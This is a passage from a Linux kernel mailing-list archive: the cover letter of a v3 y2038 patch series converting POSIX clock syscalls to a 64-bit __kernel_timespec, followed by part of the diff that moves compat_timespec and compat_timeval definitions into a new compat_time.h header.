X-Trace: blaine.gmane.org 1516069023 27739 195.159.176.226 (16 Jan 2018 02:17:03 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 16 Jan 2018 02:17:03 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, arnd@arndb.de,
        y2038@lists.linaro.org, acme@kernel.org, benh@kernel.crashing.org,
        borntraeger@de.ibm.com, catalin.marinas@arm.com,
        cmetcalf@mellanox.com, cohuck@redhat.com, davem@davemloft.net,
        deller@gmx.de, devel@driverdev.osuosl.org,
        gerald.schaefer@de.ibm.com, gregkh@linuxfoundation.org,
        heiko.carstens@de.ibm.com, hoeppner@linux.vnet.ibm.com,
        hpa@zytor.com, jejb@parisc-linux.org, jwi@linux.vnet.ibm.com,
        linux-api@vger.kernel.org, linux-arch@vger.kernel.org,
        linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
        mark.rutland@arm.com, mingo@redhat.com, mpe@ellerman.id.au,
        oberpar@linux.vnet.ibm.com, oprofile-list@lists.sf.net,
        paulus@samba.org, peterz@infradead.org, ralf@linux-mips.org,
To: tglx@linutronix.de, john.stultz@linaro.org
Original-X-From: sparclinux-owner@vger.kernel.org Tue Jan 16 03:16:55 2018
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <sparclinux-owner@vger.kernel.org>)
	id 1ebGny-0001G0-E4
	for lnx-sparclinux@m.gmane.org; Tue, 16 Jan 2018 03:16:50 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751421AbeAPCSx (ORCPT <rfc822;lnx-sparclinux@m.gmane.org>);
        Mon, 15 Jan 2018 21:18:53 -0500
Original-Received: from mail-pl0-f67.google.com ([209.85.160.67]:38624 "EHLO
        mail-pl0-f67.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751187AbeAPCSu (ORCPT
        <rfc822;sparclinux@vger.kernel.org>); Mon, 15 Jan 2018 21:18:50 -0500
Original-Received: by mail-pl0-f67.google.com with SMTP id 13so4993660plb.5;
        Mon, 15 Jan 2018 18:18:49 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id;
        bh=N8LpE9MaKHL63BIpFjdGcjOzoBdiGrRK9Q9f+Naz7QU=;
        b=HdcXOv9onYC0Ojt+hbikmyIpFXHivoKghAwOCOmD1g0+yxGeXOwik/Elqh2UUUWezR
         qt36Bu9F3X9Z7cbQSXnoybxE3hiF646ecT0hU+cyJnesdlFjH3j6le6L0Q05jQoMJKEk
         nW3+adiLjaFqT9NSr/RYK9GBOOC6jHTytT5+4y9R5PXLWm9aaWHYb9ATdph+9UImPhO0
         7/6FnA2aKm3EfymxwIxh+f+lJjLyCSkw8b8qOJLDTNxBXyyDjzSDPK9ZNA3HLvhiw8c8
         m8LwcSz2fP0HbZ09oiuPw/DmcDsb7N99TpueYC11Wg0eU0RG36oBh5KKH4DK+wilMvUE
         +t9w==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id;
        bh=N8LpE9MaKHL63BIpFjdGcjOzoBdiGrRK9Q9f+Naz7QU=;
        b=aQ3QOgS9K8O6XleYKMWRExnNswrDPlGjZUlFnWHQXvNx2M8bkOq1q4k5CskPih8hDN
         l0L1Gpi/nZHN6LJqBsTMq3LxvAvIKJalRZVfpAbQwGzSVK+H+SOAcA9WLeEthTaTE27x
         NUIfPZlPSy5QMBBjEN7UDxZO4NA3Ds13IfM2QcQsiUtR7gmj2kob2h7ppSm6yMxfbiGG
         4hGKr2DZUnMwIUhJDiLeOnEnfBRSB3a8H6Artpyh+03GiMQVALmkcnEcUWKactDn06VS
         ZOTWm9BWXkoe+4du1qSi43AqBJzAq6cIUiBnzHkiIxDwwyAwOKjQEPiFqAykcjpJO5Mh
         G3BA==
X-Gm-Message-State: AKwxytc/BSU3LlsmamMYZ4D7LRbF/HNw4R613B2XbqtiOlxpwYpabQ99
        AZU8WHlp+sQTUbzuZP3SjA4=
X-Google-Smtp-Source: ACJfBotqvoK6EkvfrMq4xQbeQS5Tlx+BB02haS+iZLoWuBul9W1mM/oDakBV6+pGc0kAxW3BntjwuQ==
X-Received: by 10.159.229.3 with SMTP id s3mr17159917plq.161.1516069129278;
        Mon, 15 Jan 2018 18:18:49 -0800 (PST)
Original-Received: from deepa-ubuntu.hsd1.ca.comcast.net ([2601:646:8400:ff00:cc66:5a87:f6d:733b])
        by smtp.gmail.com with ESMTPSA id z19sm1110990pff.3.2018.01.15.18.18.46
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Mon, 15 Jan 2018 18:18:48 -0800 (PST)
X-Mailer: git-send-email 2.14.1
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:27273 gmane.linux.kernel:2667561 gmane.linux.kernel.year-2038:2473 gmane.linux.kernel.api:26499 gmane.linux.kernel.cross-arch:41624 gmane.linux.ports.mips.general:63370 gmane.linux.ports.parisc:28273 gmane.linux.ports.ppc64.devel:152197 gmane.linux.oprofile:13127
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sparc/27273>

The series is a preparation series for individual architectures
to use 64 bit time_t syscalls in compat and 32 bit emulation modes.

This is a follow up to the series Arnd Bergmann posted:
https://sourceware.org/ml/libc-alpha/2015-05/msg00070.html [1]

Big picture is as per the lwn article:
https://lwn.net/Articles/643234/ [2]

The series is directed at converting posix clock syscalls:
clock_gettime, clock_settime, clock_getres and clock_nanosleep
to use a new data structure __kernel_timespec at syscall boundaries.
__kernel_timespec maintains 64 bit time_t across all execution modes.

vdso will be handled as part of each architecture when they enable
support for 64 bit time_t.

The compat syscalls are repurposed to provide backward compatibility
by using them as native syscalls as well for 32 bit architectures.
They will continue to use timespec at syscall boundaries.

CONFIG_64_BIT_TIME controls whether the syscalls use __kernel_timespec
or timespec at syscall boundaries.

The series does the following:
1. Enable compat syscalls on 32 bit architectures.
2. Add a new __kernel_timespec type to be used as the data structure
   for all the new syscalls.
3. Add new config CONFIG_64BIT_TIME(intead of the CONFIG_COMPAT_TIME in
   [1] and [2] to switch to new definition of __kernel_timespec. It is
   the same as struct timespec otherwise.
4. Add new CONFIG_32BIT_TIME to conditionally compile compat syscalls.

* Changes since v2:
 * Dropped the ARCH_HAS_64BIT_TIME config.
 * Fixed zeroing out of higher order bits of tv_nsec for real.
 * Addressed minor review comments from v1.
* Changes since v1:
 * Introduce CONFIG_32BIT_TIME
 * Fixed zeroing out of higher order bits of tv_nsec
 * Included Arnd's changes to fix up use of compat headers

I decided against using LEGACY_TIME_SYSCALLS to conditionally compile
legacy time syscalls such as sys_nanosleep because this will need to
enclose compat_sys_nanosleep as well. So, defining it as 

config LEGACY_TIME_SYSCALLS
     def_bool 64BIT || !64BIT_TIME

will not include compat_sys_nanosleep. We will instead need a new config to
exclusively mark legacy syscalls.

Deepa Dinamani (10):
  compat: Make compat helpers independent of CONFIG_COMPAT
  include: Move compat_timespec/ timeval to compat_time.h
  compat: enable compat_get/put_timespec64 always
  arch: introduce CONFIG_64BIT_TIME
  arch: Introduce CONFIG_COMPAT_32BIT_TIME
  posix-clocks: Make compat syscalls depend on CONFIG_COMPAT_32BIT_TIME
  include: Add new y2038 safe __kernel_timespec
  fix get_timespec64() for y2038 safe compat interfaces
  change time types to new y2038 safe __kernel_* types
  nanosleep: change time types to safe __kernel_* types

 arch/Kconfig                           | 15 +++++++++
 arch/arm64/include/asm/compat.h        | 11 -------
 arch/arm64/include/asm/stat.h          |  1 +
 arch/arm64/kernel/hw_breakpoint.c      |  1 -
 arch/arm64/kernel/perf_regs.c          |  2 +-
 arch/arm64/kernel/process.c            |  1 -
 arch/mips/include/asm/compat.h         | 11 -------
 arch/mips/kernel/signal32.c            |  2 +-
 arch/parisc/include/asm/compat.h       | 11 -------
 arch/powerpc/include/asm/compat.h      | 11 -------
 arch/powerpc/kernel/asm-offsets.c      |  2 +-
 arch/powerpc/oprofile/backtrace.c      |  2 +-
 arch/s390/hypfs/hypfs_sprp.c           |  1 -
 arch/s390/include/asm/compat.h         | 11 -------
 arch/s390/include/asm/elf.h            |  3 +-
 arch/s390/kvm/priv.c                   |  1 -
 arch/s390/pci/pci_clp.c                |  1 -
 arch/sparc/include/asm/compat.h        | 11 -------
 arch/tile/include/asm/compat.h         | 11 -------
 arch/x86/events/core.c                 |  2 +-
 arch/x86/include/asm/compat.h          | 11 -------
 arch/x86/include/asm/ftrace.h          |  2 +-
 arch/x86/include/asm/sys_ia32.h        |  2 +-
 arch/x86/kernel/sys_x86_64.c           |  2 +-
 drivers/s390/block/dasd_ioctl.c        |  1 -
 drivers/s390/char/fs3270.c             |  1 -
 drivers/s390/char/sclp_ctl.c           |  1 -
 drivers/s390/char/vmcp.c               |  1 -
 drivers/s390/cio/chsc_sch.c            |  1 -
 drivers/s390/net/qeth_core_main.c      |  2 +-
 include/linux/compat.h                 | 11 ++++---
 include/linux/compat_time.h            | 23 ++++++++++++++
 include/linux/restart_block.h          |  7 ++--
 include/linux/syscalls.h               | 12 +++----
 include/linux/time.h                   |  4 +--
 include/linux/time64.h                 | 10 +++++-
 include/uapi/asm-generic/posix_types.h |  1 +
 include/uapi/linux/time.h              |  7 ++++
 kernel/compat.c                        | 52 +++++-------------------------
 kernel/time/hrtimer.c                  | 10 ++++--
 kernel/time/posix-stubs.c              | 12 ++++---
 kernel/time/posix-timers.c             | 24 ++++++++++----
 kernel/time/time.c                     | 58 +++++++++++++++++++++++++++++++---
 43 files changed, 176 insertions(+), 190 deletions(-)
 create mode 100644 include/linux/compat_time.h


base-commit: 8418f88764046d0e8ca6a3c04a69a0e57189aa1e
-- 
2.14.1

Cc: acme@kernel.org
Cc: benh@kernel.crashing.org
Cc: borntraeger@de.ibm.com
Cc: catalin.marinas@arm.com
Cc: cmetcalf@mellanox.com
Cc: cohuck@redhat.com
Cc: davem@davemloft.net
Cc: deller@gmx.de
Cc: devel@driverdev.osuosl.org
Cc: gerald.schaefer@de.ibm.com
Cc: gregkh@linuxfoundation.org
Cc: heiko.carstens@de.ibm.com
Cc: hoeppner@linux.vnet.ibm.com
Cc: hpa@zytor.com
Cc: jejb@parisc-linux.org
Cc: jwi@linux.vnet.ibm.com
Cc: linux-api@vger.kernel.org
Cc: linux-arch@vger.kernel.org
Cc: linux-kernel@vger.kernel.org
Cc: linux-mips@linux-mips.org
Cc: linux-parisc@vger.kernel.org
Cc: linuxppc-dev@lists.ozlabs.org
Cc: linux-s390@vger.kernel.org
Cc: mark.rutland@arm.com
Cc: mingo@redhat.com
Cc: mpe@ellerman.id.au
Cc: oberpar@linux.vnet.ibm.com
Cc: oprofile-list@lists.sf.net
Cc: paulus@samba.org
Cc: peterz@infradead.org
Cc: ralf@linux-mips.org
Cc: rostedt@goodmis.org
Cc: rric@kernel.org
Cc: schwidefsky@de.ibm.com
Cc: sebott@linux.vnet.ibm.com
Cc: sparclinux@vger.kernel.org
Cc: sth@linux.vnet.ibm.com
Cc: ubraun@linux.vnet.ibm.com
Cc: will.deacon@arm.com
Cc: x86@kernel.org
--
To unsubscribe from this list: send the line "unsubscribe sparclinux" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Deepa Dinamani <deepa.kernel@gmail.com>
Newsgroups: gmane.linux.ports.sparc,gmane.linux.kernel,gmane.linux.kernel.year-2038,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.oprofile
Subject: [PATCH v3 02/10] include: Move compat_timespec/ timeval to compat_time.h
Date: Mon, 15 Jan 2018 18:18:10 -0800
Lines: 639
Approved: news@gmane.org
Message-ID: <20180116021818.24791-3-deepa.kernel@gmail.com>
References: <20180116021818.24791-1-deepa.kernel@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1516069042 32382 195.159.176.226 (16 Jan 2018 02:17:22 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 16 Jan 2018 02:17:22 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, arnd@arndb.de,
        y2038@lists.linaro.org, acme@kernel.org, benh@kernel.crashing.org,
        borntraeger@de.ibm.com, catalin.marinas@arm.com,
        cmetcalf@mellanox.com, cohuck@redhat.com, davem@davemloft.net,
        deller@gmx.de, devel@driverdev.osuosl.org,
        gerald.schaefer@de.ibm.com, gregkh@linuxfoundation.org,
        heiko.carstens@de.ibm.com, hoeppner@linux.vnet.ibm.com,
        hpa@zytor.com, jejb@parisc-linux.org, jwi@linux.vnet.ibm.com,
        linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
        mark.rutland@arm.com, mingo@redhat.com, mpe@ellerman.id.au,
        oberpar@linux.vnet.ibm.com, oprofile-list@lists.sf.net,
        paulus@samba.org, peterz@infradead.org, ralf@linux-mips.org,
        rostedt@goodmis.org, rric@kernel.org, schwidefsky@de.ibm.c
To: tglx@linutronix.de, john.stultz@linaro.org
Original-X-From: sparclinux-owner@vger.kernel.org Tue Jan 16 03:17:14 2018
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <sparclinux-owner@vger.kernel.org>)
	id 1ebGoD-00078M-HL
	for lnx-sparclinux@m.gmane.org; Tue, 16 Jan 2018 03:17:06 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751487AbeAPCTJ (ORCPT <rfc822;lnx-sparclinux@m.gmane.org>);
        Mon, 15 Jan 2018 21:19:09 -0500
Original-Received: from mail-pl0-f66.google.com ([209.85.160.66]:43330 "EHLO
        mail-pl0-f66.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751187AbeAPCTD (ORCPT
        <rfc822;sparclinux@vger.kernel.org>); Mon, 15 Jan 2018 21:19:03 -0500
Original-Received: by mail-pl0-f66.google.com with SMTP id f4so3609673plr.10;
        Mon, 15 Jan 2018 18:19:03 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=LS15Rr6mHkcrM+j3NK+NLIbE/YUjzsuOXjqBWNvmknI=;
        b=A6YEfUBM1JoK+oGAzTpguaAN0FbxnqQguTdQ6W8KdilvicOqroVVa2BLb/WLebtd0u
         Sg3wBYlD4uj2ikmep6T7cMdS/ga08op8/bgLv3MZPF4oQXmkU6r1f9CiRDDdkV8xEr2Q
         VMn5rz/Ut3CnXIeCatDoasJxLR/lNLz8VG6hkpPGtI6O00d7eFsLAFx8zWkYyihde8Te
         5l7rGOT0/Xse39wffBfjnSzP3U/VoZMUwVbzZTkkPfEkkOBL/cgYWTjGPz3F9zVWY+y3
         X4c3m5eAHSpPH0DCDe+CEZPld5d35o8Eud+oiHU/fsbK7i2+j6aKVkkN1MYvbCp0ij5N
         K8fQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=LS15Rr6mHkcrM+j3NK+NLIbE/YUjzsuOXjqBWNvmknI=;
        b=KiE9nMpUxLdxcN7VtSdz80RNLIMUWPFJmtJK0aT/OOViZQWmzr9mjK8vFbE0QalUug
         MRLv2w/dOunC/exsnTJS9GQ50oIirb5FT5dRYGe8wFtufLHl9h+803wDOqhVoc9p+GW4
         ltUi07//XAmcc3BTrbmmZ91aMN6a0bUr3h7VSH7E5U3oHVvqqOpeF2Edxdw0ItdIL6l7
         HrAO0bTVoXMpPPhLNAz87gQ69bIUYKE2j2lHUw/yLlFTwf+9MGppx3RPpdCgoJiR7pJm
         6Yj1cvkAak7nk3JncTFx9UzDRxDu1FuAoulvXvFalEA4d2WFNCccjRe89nH3mr9IfU6N
         WaHw==
X-Gm-Message-State: AKGB3mK36qXpDYzFtkouXUTHRCcBo/BNGbMVu2AHiAJ68qQv80/DtzZn
        66pxfnoHjf3GZTWprq2wUHs=
X-Google-Smtp-Source: ACJfBotln6KKSep44W/DL2k44LTvpKTYCScji56sqS2Mr5Pug+mHF8+9ZK8e0QPSPt8Hha0NgJWAyA==
X-Received: by 10.159.244.132 with SMTP id y4mr37776875plr.186.1516069142933;
        Mon, 15 Jan 2018 18:19:02 -0800 (PST)
Original-Received: from deepa-ubuntu.hsd1.ca.comcast.net ([2601:646:8400:ff00:cc66:5a87:f6d:733b])
        by smtp.gmail.com with ESMTPSA id z19sm1110990pff.3.2018.01.15.18.19.00
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Mon, 15 Jan 2018 18:19:02 -0800 (PST)
X-Mailer: git-send-email 2.14.1
In-Reply-To: <20180116021818.24791-1-deepa.kernel@gmail.com>
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:27274 gmane.linux.kernel:2667564 gmane.linux.kernel.year-2038:2476 gmane.linux.ports.mips.general:63371 gmane.linux.ports.parisc:28274 gmane.linux.ports.ppc64.devel:152198 gmane.linux.oprofile:13128
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sparc/27274>

All the current architecture specific defines for these
are the same. Refactor these common defines to a common
header file.

The new common linux/compat_time.h is also useful as it
will eventually be used to hold all the defines that
are needed for compat time types that support non y2038
safe types. New architectures need not have to define these
new types as they will only use new y2038 safe syscalls.
This file can be deleted after y2038 when we stop supporting
non y2038 safe syscalls.

The patch also requires an operation similar to:

git grep "asm/compat\.h" | cut -d ":" -f 1 |  xargs -n 1 sed -i -e "s%asm/compat.h%linux/compat.h%g"

Cc: acme@kernel.org
Cc: benh@kernel.crashing.org
Cc: borntraeger@de.ibm.com
Cc: catalin.marinas@arm.com
Cc: cmetcalf@mellanox.com
Cc: cohuck@redhat.com
Cc: davem@davemloft.net
Cc: deller@gmx.de
Cc: devel@driverdev.osuosl.org
Cc: gerald.schaefer@de.ibm.com
Cc: gregkh@linuxfoundation.org
Cc: heiko.carstens@de.ibm.com
Cc: hoeppner@linux.vnet.ibm.com
Cc: hpa@zytor.com
Cc: jejb@parisc-linux.org
Cc: jwi@linux.vnet.ibm.com
Cc: linux-kernel@vger.kernel.org
Cc: linux-mips@linux-mips.org
Cc: linux-parisc@vger.kernel.org
Cc: linuxppc-dev@lists.ozlabs.org
Cc: linux-s390@vger.kernel.org
Cc: mark.rutland@arm.com
Cc: mingo@redhat.com
Cc: mpe@ellerman.id.au
Cc: oberpar@linux.vnet.ibm.com
Cc: oprofile-list@lists.sf.net
Cc: paulus@samba.org
Cc: peterz@infradead.org
Cc: ralf@linux-mips.org
Cc: rostedt@goodmis.org
Cc: rric@kernel.org
Cc: schwidefsky@de.ibm.com
Cc: sebott@linux.vnet.ibm.com
Cc: sparclinux@vger.kernel.org
Cc: sth@linux.vnet.ibm.com
Cc: ubraun@linux.vnet.ibm.com
Cc: will.deacon@arm.com
Cc: x86@kernel.org
Signed-off-by: Arnd Bergmann <arnd@arndb.de>
Signed-off-by: Deepa Dinamani <deepa.kernel@gmail.com>
Acked-by: Steven Rostedt (VMware) <rostedt@goodmis.org>
---
 arch/arm64/include/asm/compat.h   | 11 -----------
 arch/arm64/include/asm/stat.h     |  1 +
 arch/arm64/kernel/hw_breakpoint.c |  1 -
 arch/arm64/kernel/perf_regs.c     |  2 +-
 arch/arm64/kernel/process.c       |  1 -
 arch/mips/include/asm/compat.h    | 11 -----------
 arch/mips/kernel/signal32.c       |  2 +-
 arch/parisc/include/asm/compat.h  | 11 -----------
 arch/powerpc/include/asm/compat.h | 11 -----------
 arch/powerpc/kernel/asm-offsets.c |  2 +-
 arch/powerpc/oprofile/backtrace.c |  2 +-
 arch/s390/hypfs/hypfs_sprp.c      |  1 -
 arch/s390/include/asm/compat.h    | 11 -----------
 arch/s390/include/asm/elf.h       |  3 +--
 arch/s390/kvm/priv.c              |  1 -
 arch/s390/pci/pci_clp.c           |  1 -
 arch/sparc/include/asm/compat.h   | 11 -----------
 arch/tile/include/asm/compat.h    | 11 -----------
 arch/x86/events/core.c            |  2 +-
 arch/x86/include/asm/compat.h     | 11 -----------
 arch/x86/include/asm/ftrace.h     |  2 +-
 arch/x86/include/asm/sys_ia32.h   |  2 +-
 arch/x86/kernel/sys_x86_64.c      |  2 +-
 drivers/s390/block/dasd_ioctl.c   |  1 -
 drivers/s390/char/fs3270.c        |  1 -
 drivers/s390/char/sclp_ctl.c      |  1 -
 drivers/s390/char/vmcp.c          |  1 -
 drivers/s390/cio/chsc_sch.c       |  1 -
 drivers/s390/net/qeth_core_main.c |  2 +-
 include/linux/compat.h            |  1 +
 include/linux/compat_time.h       | 19 +++++++++++++++++++
 31 files changed, 31 insertions(+), 109 deletions(-)
 create mode 100644 include/linux/compat_time.h

diff --git a/arch/arm64/include/asm/compat.h b/arch/arm64/include/asm/compat.h
index a3c7f271ad4c..977b5064afc1 100644
--- a/arch/arm64/include/asm/compat.h
+++ b/arch/arm64/include/asm/compat.h
@@ -34,7 +34,6 @@
 
 typedef u32		compat_size_t;
 typedef s32		compat_ssize_t;
-typedef s32		compat_time_t;
 typedef s32		compat_clock_t;
 typedef s32		compat_pid_t;
 typedef u16		__compat_uid_t;
@@ -66,16 +65,6 @@ typedef u32		compat_ulong_t;
 typedef u64		compat_u64;
 typedef u32		compat_uptr_t;
 
-struct compat_timespec {
-	compat_time_t	tv_sec;
-	s32		tv_nsec;
-};
-
-struct compat_timeval {
-	compat_time_t	tv_sec;
-	s32		tv_usec;
-};
-
 struct compat_stat {
 #ifdef __AARCH64EB__
 	short		st_dev;
diff --git a/arch/arm64/include/asm/stat.h b/arch/arm64/include/asm/stat.h
index 15e35598ac40..eab738019707 100644
--- a/arch/arm64/include/asm/stat.h
+++ b/arch/arm64/include/asm/stat.h
@@ -20,6 +20,7 @@
 
 #ifdef CONFIG_COMPAT
 
+#include <linux/compat_time.h>
 #include <asm/compat.h>
 
 /*
diff --git a/arch/arm64/kernel/hw_breakpoint.c b/arch/arm64/kernel/hw_breakpoint.c
index 74bb56f656ef..413dbe530da8 100644
--- a/arch/arm64/kernel/hw_breakpoint.c
+++ b/arch/arm64/kernel/hw_breakpoint.c
@@ -30,7 +30,6 @@
 #include <linux/smp.h>
 #include <linux/uaccess.h>
 
-#include <asm/compat.h>
 #include <asm/current.h>
 #include <asm/debug-monitors.h>
 #include <asm/hw_breakpoint.h>
diff --git a/arch/arm64/kernel/perf_regs.c b/arch/arm64/kernel/perf_regs.c
index 1d091d048d04..929fc369d0be 100644
--- a/arch/arm64/kernel/perf_regs.c
+++ b/arch/arm64/kernel/perf_regs.c
@@ -5,7 +5,7 @@
 #include <linux/bug.h>
 #include <linux/sched/task_stack.h>
 
-#include <asm/compat.h>
+#include <linux/compat.h>
 #include <asm/perf_regs.h>
 #include <asm/ptrace.h>
 
diff --git a/arch/arm64/kernel/process.c b/arch/arm64/kernel/process.c
index ad8aeb098b31..a1cca69fc14f 100644
--- a/arch/arm64/kernel/process.c
+++ b/arch/arm64/kernel/process.c
@@ -51,7 +51,6 @@
 #include <linux/thread_info.h>
 
 #include <asm/alternative.h>
-#include <asm/compat.h>
 #include <asm/cacheflush.h>
 #include <asm/exec.h>
 #include <asm/fpsimd.h>
diff --git a/arch/mips/include/asm/compat.h b/arch/mips/include/asm/compat.h
index 49691331ada4..ccbf14e33282 100644
--- a/arch/mips/include/asm/compat.h
+++ b/arch/mips/include/asm/compat.h
@@ -14,7 +14,6 @@
 
 typedef u32		compat_size_t;
 typedef s32		compat_ssize_t;
-typedef s32		compat_time_t;
 typedef s32		compat_clock_t;
 typedef s32		compat_suseconds_t;
 
@@ -46,16 +45,6 @@ typedef u32		compat_ulong_t;
 typedef u64		compat_u64;
 typedef u32		compat_uptr_t;
 
-struct compat_timespec {
-	compat_time_t	tv_sec;
-	s32		tv_nsec;
-};
-
-struct compat_timeval {
-	compat_time_t	tv_sec;
-	s32		tv_usec;
-};
-
 struct compat_stat {
 	compat_dev_t	st_dev;
 	s32		st_pad1[3];
diff --git a/arch/mips/kernel/signal32.c b/arch/mips/kernel/signal32.c
index cf5c7c05e5a3..a6b04c70a8cb 100644
--- a/arch/mips/kernel/signal32.c
+++ b/arch/mips/kernel/signal32.c
@@ -14,7 +14,7 @@
 #include <linux/signal.h>
 #include <linux/syscalls.h>
 
-#include <asm/compat.h>
+#include <linux/compat.h>
 #include <asm/compat-signal.h>
 #include <linux/uaccess.h>
 #include <asm/unistd.h>
diff --git a/arch/parisc/include/asm/compat.h b/arch/parisc/include/asm/compat.h
index acf8aa07cbe0..90f844b16beb 100644
--- a/arch/parisc/include/asm/compat.h
+++ b/arch/parisc/include/asm/compat.h
@@ -13,7 +13,6 @@
 
 typedef u32	compat_size_t;
 typedef s32	compat_ssize_t;
-typedef s32	compat_time_t;
 typedef s32	compat_clock_t;
 typedef s32	compat_pid_t;
 typedef u32	__compat_uid_t;
@@ -40,16 +39,6 @@ typedef u32	compat_ulong_t;
 typedef u64	compat_u64;
 typedef u32	compat_uptr_t;
 
-struct compat_timespec {
-	compat_time_t		tv_sec;
-	s32			tv_nsec;
-};
-
-struct compat_timeval {
-	compat_time_t		tv_sec;
-	s32			tv_usec;
-};
-
 struct compat_stat {
 	compat_dev_t		st_dev;	/* dev_t is 32 bits on parisc */
 	compat_ino_t		st_ino;	/* 32 bits */
diff --git a/arch/powerpc/include/asm/compat.h b/arch/powerpc/include/asm/compat.h
index 8a2aecfe9b02..517dbcfc2240 100644
--- a/arch/powerpc/include/asm/compat.h
+++ b/arch/powerpc/include/asm/compat.h
@@ -17,7 +17,6 @@
 
 typedef u32		compat_size_t;
 typedef s32		compat_ssize_t;
-typedef s32		compat_time_t;
 typedef s32		compat_clock_t;
 typedef s32		compat_pid_t;
 typedef u32		__compat_uid_t;
@@ -45,16 +44,6 @@ typedef u32		compat_ulong_t;
 typedef u64		compat_u64;
 typedef u32		compat_uptr_t;
 
-struct compat_timespec {
-	compat_time_t	tv_sec;
-	s32		tv_nsec;
-};
-
-struct compat_timeval {
-	compat_time_t	tv_sec;
-	s32		tv_usec;
-};
-
 struct compat_stat {
 	compat_dev_t	st_dev;
 	compat_ino_t	st_ino;
diff --git a/arch/powerpc/kernel/asm-offsets.c b/arch/powerpc/kernel/asm-offsets.c
index a6c72f720e8a..18a32e3c3718 100644
--- a/arch/powerpc/kernel/asm-offsets.c
+++ b/arch/powerpc/kernel/asm-offsets.c
@@ -42,7 +42,7 @@
 #include <asm/paca.h>
 #include <asm/lppaca.h>
 #include <asm/cache.h>
-#include <asm/compat.h>
+#include <linux/compat.h>
 #include <asm/mmu.h>
 #include <asm/hvcall.h>
 #include <asm/xics.h>
diff --git a/arch/powerpc/oprofile/backtrace.c b/arch/powerpc/oprofile/backtrace.c
index ecc66d5f02c9..11ff763c03ad 100644
--- a/arch/powerpc/oprofile/backtrace.c
+++ b/arch/powerpc/oprofile/backtrace.c
@@ -11,7 +11,7 @@
 #include <linux/sched.h>
 #include <asm/processor.h>
 #include <linux/uaccess.h>
-#include <asm/compat.h>
+#include <linux/compat.h>
 #include <asm/oprofile_impl.h>
 
 #define STACK_SP(STACK)		*(STACK)
diff --git a/arch/s390/hypfs/hypfs_sprp.c b/arch/s390/hypfs/hypfs_sprp.c
index ae0ed8dd5f1b..5d85a039391c 100644
--- a/arch/s390/hypfs/hypfs_sprp.c
+++ b/arch/s390/hypfs/hypfs_sprp.c
@@ -13,7 +13,6 @@
 #include <linux/string.h>
 #include <linux/types.h>
 #include <linux/uaccess.h>
-#include <asm/compat.h>
 #include <asm/diag.h>
 #include <asm/sclp.h>
 #include "hypfs.h"
diff --git a/arch/s390/include/asm/compat.h b/arch/s390/include/asm/compat.h
index 5e6a63641a5f..7e587eb9fb58 100644
--- a/arch/s390/include/asm/compat.h
+++ b/arch/s390/include/asm/compat.h
@@ -53,7 +53,6 @@
 
 typedef u32		compat_size_t;
 typedef s32		compat_ssize_t;
-typedef s32		compat_time_t;
 typedef s32		compat_clock_t;
 typedef s32		compat_pid_t;
 typedef u16		__compat_uid_t;
@@ -97,16 +96,6 @@ typedef struct {
 	u32 gprs_high[NUM_GPRS];
 } s390_compat_regs_high;
 
-struct compat_timespec {
-	compat_time_t	tv_sec;
-	s32		tv_nsec;
-};
-
-struct compat_timeval {
-	compat_time_t	tv_sec;
-	s32		tv_usec;
-};
-
 struct compat_stat {
 	compat_dev_t	st_dev;
 	u16		__pad1;
diff --git a/arch/s390/include/asm/elf.h b/arch/s390/include/asm/elf.h
index 1a61b1b997f2..3e15c77c7c9a 100644
--- a/arch/s390/include/asm/elf.h
